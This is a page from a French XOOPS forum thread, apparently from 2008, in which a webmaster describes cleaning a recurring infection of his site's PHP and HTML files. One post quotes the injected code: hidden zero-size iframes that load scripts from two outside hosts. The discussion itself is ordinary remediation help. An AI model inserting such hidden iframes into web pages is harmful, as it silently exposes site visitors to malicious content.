Fork me on GitHub


 Bas   Précédent   Suivant

« 1 ... 5 6 7 (8) 9 »


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Bonjour, les gens.
Me voici sous une mandriva one de 2007, une horloge !
Je me télécharge Avast pour Linux, et on s'y re-attaque!

Posté le : 03/11/2008 21:29
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
OK, merci, je vais me linuxer, mais pas ce soir : pas le temps...
Avast + FireWall XP SP2... troyen noté : TidServ.

Posté le : 02/11/2008 22:17
Transférer la contribution vers d'autres applications Transférer


Virus sur mon site, le retour ...
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
C'est reparti pour un tour !
Iframe a mis un peu plus d'1 jour pour se réinstaller...

Posté le : 02/11/2008 20:52
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Merci à tous,
le site est de nouveau opérationnel.
J'avais effectivement une sauvegarde du mois d'août.
J'ai d'abord bourrinement tout rapatrié sur mon PC, en désactivant l'antivirus. (pas de distrib Linux sous la main, puis pressé).
Sur les conseils de Marco, j'ai fait une copie avec écrasement (de la sauvegarde d'août vers la version infectée)de tous les php, tous les html,et j'ai guéri les htm à la main. Après plusieurs passes d'Avast, j'ai soigné mimine les fichiers non compris dans la resto (il y en avait peu, heureusement), jusqu'à ce qu'il ne voit plus rien. (mon Pc n'a pas été infecté par la manip).
Voilà, renommage du dossier infecté sur l'hébergeur, puis remontée de la version clean.
Cependant, Filezilla a oublié qq rép, (pourquoi, et y a t-il un moyen de tout transférer sans camper devant son PC?).

Quant à la source, je me suspecte moi-même (j'ai pas encore trouvé les log), et j'ai chopé un bon cheval de troie dans la semaine, assez active au niveau admin du site.

Merci encore bonne fin de semaine.

*i'll be back !

Posté le : 01/11/2008 12:50
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
C'est la cata : en essayant de tout rapatrier chez moi : une énorme quantité de fichiers php et html est infectée!!!
On ne peux pas soigner à distance ?

Posté le : 30/10/2008 21:46
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Jah : je l'ai trouvé dans modules/smartsection/index.php

Donc, pour récapituler :
j'ai supprimé la ligne dans /themes/xeatol/theme.html
et je l'ai aussi trouvé dans modules/smartsection/index.php (mais pas suppr)
et comme Avast, dans modules/smartsection/backend.php .
L'arbo comprend plusieurs index.php et theme.html... je les fais tous ?

Posté le : 30/10/2008 21:08
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Effectivement, theme.html était infecté...

Posté le : 30/10/2008 20:56
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Bon, j'ai modifié les perm, c'est déjà ça : plus d'accès web.

Posté le : 30/10/2008 20:37
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
Oui, alors là, d'accord, mais je ne sais même pas faire ça, même si je sais où se situe la page maintenance...
Déb de chez déd...

Posté le : 30/10/2008 20:31
Transférer la contribution vers d'autres applications Transférer


Re: Virus sur mon site ???
Aspirant
Inscrit: 02/08/2008 11:29
Messages: 87
?><iframe src="http://wsx3host.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

ça y ressemble, non ?

Posté le : 30/10/2008 20:27
Transférer la contribution vers d'autres applications Transférer



 Haut
« 1 ... 5 6 7 (8) 9 »




Propulsé avec XOOPS | Graphisme adapté par Tatane, Grosdunord, Montuy337513

42 Personne(s) en ligne (32 Personne(s) connectée(s) sur Forum) | Utilisateur(s): 0 | Invité(s): 42 | Plus ...